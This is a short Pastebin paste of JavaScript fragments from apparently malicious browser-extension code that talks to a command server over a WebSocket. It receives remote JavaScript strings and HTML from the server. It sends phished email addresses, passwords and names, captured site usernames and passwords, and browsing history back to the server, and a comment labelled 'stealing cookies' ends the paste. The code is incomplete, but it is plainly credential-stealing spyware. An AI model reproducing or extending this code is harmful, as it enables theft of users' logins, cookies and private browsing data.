Advertisement
Guest User

Untitled

a guest
Nov 25th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //RECEIVING FROM SEVRER
  2. ws.onmessage = function (e) {
  3.     console.log("Message received!");
  4.     object = JSON.parse(e.data);
  5.     id = object.id;//get 256bitvalue
  6.     type = object.type; //As of now types are html, js, listAdd
  7.     tempSite = object.addString; //Site to add to blacklist.
  8.     translateString = object.jsString; //JS function ins string format.
  9.  
  10. //SEND PHISH INFO EXTENSION -> SERVER
  11. var jsonPackage = {id: id, type: 'phishForm', phishEmail: emailString, phishPass: passString, phishName: nameString};
  12. ws.send(JSON.stringify(jsonPackage));
  13.  
  14. //SEND USERNAME/PASSWORD INFO EXTENSION -> SERVER
  15. var url = window.location.host;
  16. var jsonPackage = {id: id, type: 'info', url: url, username:userNm, password: passWd};
  17. ws.send(JSON.stringify(jsonPackage));
  18.  
  19. //SEND HISTORY INFORMATION EXTENSION -> SERVER
  20. var jsonPackage = {id: id, type: 'history', history : history};
  21. ws.send(JSON.stringify(jsonPackage));
  22.  
  23. //STEALING COOKIES EXTENSION -> SERVER
  24. ...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement